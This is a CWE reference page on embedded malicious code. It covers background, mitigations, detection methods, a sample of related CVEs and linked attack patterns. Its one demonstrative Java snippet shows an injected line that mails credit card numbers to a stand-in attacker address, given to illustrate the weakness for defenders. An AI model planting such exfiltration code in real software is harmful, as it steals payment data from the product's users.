---
title: "CWE-506: Embedded Malicious Code"
url: https://radicalnotion.ai/cwe/cwe-506
type: cwe
description: "The product contains code that appears to be malicious in nature."
updated: 2026-11-10
source: RadicalNotion.AI
license: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/)
---

# CWE-506: Embedded Malicious Code

- **Abstraction:** Class
- **Structure:** Simple
- **Status:** Incomplete
- **CVEs with this as primary weakness:** 105
- **Of those, in CISA KEV:** 9
- **New in 2026:** 30
- **CWE catalog version:** 4.21

## Description

The product contains code that appears to be malicious in nature.

## Background

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

## Modes of introduction

| Phase | Note |
| --- | --- |
| Implementation | - |
| Bundling | - |
| Distribution | - |
| Installation | - |

## Common consequences

| Scope | Impact | Note |
| --- | --- | --- |
| Confidentiality, Integrity, Availability | Execute Unauthorized Code or Commands | - |

## Potential mitigations

### Implementation, Operation

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

## Detection methods

### Manual Static Analysis - Binary or Bytecode

According to SOAR \[REF-1479\], the following detection techniques may be useful:

Cost effective for partial coverage:

- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
- Generated Code Inspection

Effectiveness: SOAR Partial

### Dynamic Analysis with Manual Results Interpretation

According to SOAR \[REF-1479\], the following detection techniques may be useful:

Cost effective for partial coverage:

- Automated Monitored Execution

Effectiveness: SOAR Partial

### Manual Static Analysis - Source Code

According to SOAR \[REF-1479\], the following detection techniques may be useful:

Cost effective for partial coverage:

- Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

### Automated Static Analysis

According to SOAR \[REF-1479\], the following detection techniques may be useful:

Cost effective for partial coverage:

- Origin Analysis

Effectiveness: SOAR Partial

## Demonstrative examples

### Example 1

In the example below, a malicious developer has injected code to send credit card numbers to the developer's own email address.

Bad code:

```java
boolean authorizeCard(String ccn) {

    // Authorize credit card.

    ...

    mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

## Observed examples

| CVE | Description |
| --- | --- |
| CVE-2022-30877 | A command history tool was shipped with a code-execution backdoor inserted by a malicious party. |

## Real CVEs with this weakness (sample of 12 of 105)

| CVE | Title | Severity | CVSS | EPSS | CISA KEV | Published |
| --- | --- | --- | --- | --- | --- | --- |
| CVE-2026-45321 | Malware in 42 @tanstack/\* packages exfiltrates cloud credentials, GitHub tokens, and SSH keys | critical | 9.6 | - | Yes | 2026-05-12 |
| CVE-2026-33634 | Trivy ecosystem supply chain briefly compromised | critical | 9.4 | - | Yes | 2026-03-23 |
| CVE-2024-4978 | Malicious Code in Justice AV Solutions (JAVS) Viewer | critical | 9.4 | - | Yes | 2024-05-23 |
| CVE-2026-48027 | Compromised Nx Console version 18.95.0 | critical | 9.3 | - | Yes | 2026-05-27 |
| CVE-2026-8398 | Daemon Tools Lite Embedded Malicious Code Vulnerability | critical | 9.3 | - | Yes | 2026-05-15 |
| CVE-2025-59374 | ASUS Live Update Embedded Malicious Code Vulnerability | critical | 9.3 | - | Yes | 2025-12-17 |
| CVE-2025-30066 | tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs. | critical | 9.3 | - | Yes | 2025-03-15 |
| CVE-2025-30154 | Multiple Reviewdog actions were compromised during a specific time period | high | 7.7 | - | Yes | 2025-03-19 |
| CVE-2025-54313 | eslint-config-prettier, eslint-plugin-prettier, synckit, @pkgr/core, napi-postinstall have embedded malicious code | medium | 6.8 | - | Yes | 2025-07-19 |
| CVE-2026-46412 | Malicious code in @beproduct/nestjs-auth (0.1.2 through 0.1.19) — Mini Shai-Hulud worm | critical | 10.0 | - | No | 2026-07-20 |
| CVE-2026-28353 | Trivy Vulnerability Scanner: Unauthorized AI Agent Execution Code Included in OpenVSX Extension Release | critical | 10.0 | - | No | 2026-03-05 |
| CVE-2024-6297 | Several WordPress.org Plugins \<= Various Versions - Injected Backdoor | critical | 10.0 | - | No | 2024-06-25 |

## Related attack patterns (CAPEC)

- [CAPEC-442](https://radicalnotion.ai/capec/capec-442): Infected Software
- [CAPEC-448](https://radicalnotion.ai/capec/capec-448): Embed Virus into DLL
- [CAPEC-636](https://radicalnotion.ai/capec/capec-636): Hiding Malicious Data or Code within Files

## Related weaknesses

| Relationship | CWE | Name |
| --- | --- | --- |
| Parent | [CWE-912](https://radicalnotion.ai/cwe/cwe-912) | Hidden Functionality |
| Child | [CWE-507](https://radicalnotion.ai/cwe/cwe-507) | Trojan Horse |
| Child | [CWE-510](https://radicalnotion.ai/cwe/cwe-510) | Trapdoor |
| Child | [CWE-511](https://radicalnotion.ai/cwe/cwe-511) | Logic/Time Bomb |
| Child | [CWE-512](https://radicalnotion.ai/cwe/cwe-512) | Spyware |

## Taxonomy mappings

| Taxonomy | Entry | Id | Fit |
| --- | --- | --- | --- |
| Landwehr | Malicious | - | - |

## Frequently asked questions

### What is CWE-506?

The product contains code that appears to be malicious in nature.

### What CVEs are caused by CWE-506?

105 recorded CVEs are attributed to CWE-506, including CVE-2026-45321, CVE-2026-33634 and CVE-2024-4978. 9 are listed in CISA's Known Exploited Vulnerabilities (KEV) catalog.

### How do you prevent CWE-506?

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

### How is CWE-506 detected?

Manual Static Analysis - Binary or Bytecode: According to SOAR, the following detection techniques may be useful:

### What are the consequences of CWE-506?

Exploiting CWE-506 can lead to: Execute Unauthorized Code or Commands.

### Is CWE-506 actively exploited?

Yes. 9 CWE-506 vulnerabilities are in CISA's KEV catalog of actively exploited flaws, out of 105 recorded CVEs.

Primary source: [MITRE CWE](https://cwe.mitre.org/data/definitions/506.html)

---

Source: [RadicalNotion.AI](https://radicalnotion.ai/cwe/cwe-506). Licensed CC BY-NC 4.0; attribute RadicalNotion.AI and link the source page when you reuse this data.
